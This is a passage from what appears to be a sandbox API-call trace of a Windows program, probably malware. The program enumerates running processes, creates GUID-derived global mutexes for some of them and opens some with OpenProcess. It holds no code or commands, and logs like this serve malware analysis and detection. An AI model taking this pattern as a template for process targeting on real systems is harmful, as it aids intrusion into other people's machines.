cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0122.309] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.309] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0122.310] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.311] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0122.312] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.313] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.314] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.315] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.315] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.316] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0122.317] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0122.317] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0122.317] GetLastError () returned 0xb7 [0122.317] CloseHandle (hObject=0x6cc) returned 1 [0122.317] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0122.318] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0122.319] CloseHandle (hObject=0x56c) returned 1 [0122.319] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0122.421] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0122.423] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.424] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.425] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.426] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.426] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.427] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.428] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.429] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.430] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.430] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0122.431] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.432] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.433] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.433] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.434] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.435] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.436] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.437] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.438] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.439] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.439] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.440] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0122.440] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0122.440] GetLastError () returned 0xb7 [0122.440] CloseHandle (hObject=0x6cc) returned 1 [0122.440] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.441] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0122.441] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0122.441] GetLastError () returned 0xb7 [0122.441] CloseHandle (hObject=0x6cc) returned 1 [0122.441] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.442] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.443] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0122.443] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0122.443] GetLastError () returned 0x0 [0122.443] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0122.443] CloseHandle (hObject=0x6cc) returned 1 [0122.443] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.444] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0122.444] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0122.444] GetLastError () returned 0x0 [0122.444] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0122.444] CloseHandle (hObject=0x6cc) returned 1 [0122.444] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.445] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0122.445] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0122.445] GetLastError () returned 0xb7 [0122.445] CloseHandle (hObject=0x6cc) returned 1 [0122.445] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.446] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0122.446] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0122.446] GetLastError () returned 0x0 [0122.446] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0122.446] CloseHandle (hObject=0x6cc) returned 1 [0122.446] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0122.447] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0122.447] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0122.448] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0122.449] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0122.450] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0122.451] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0122.451] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0122.452] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0122.453] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0122.454] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0122.455] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0122.455] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0122.456] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0122.457] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0122.458] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0122.459] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0122.459] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0122.460] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0122.461] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0122.462] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0122.462] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.463] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0122.464] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.465] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0122.466] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.466] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.467] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.469] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, 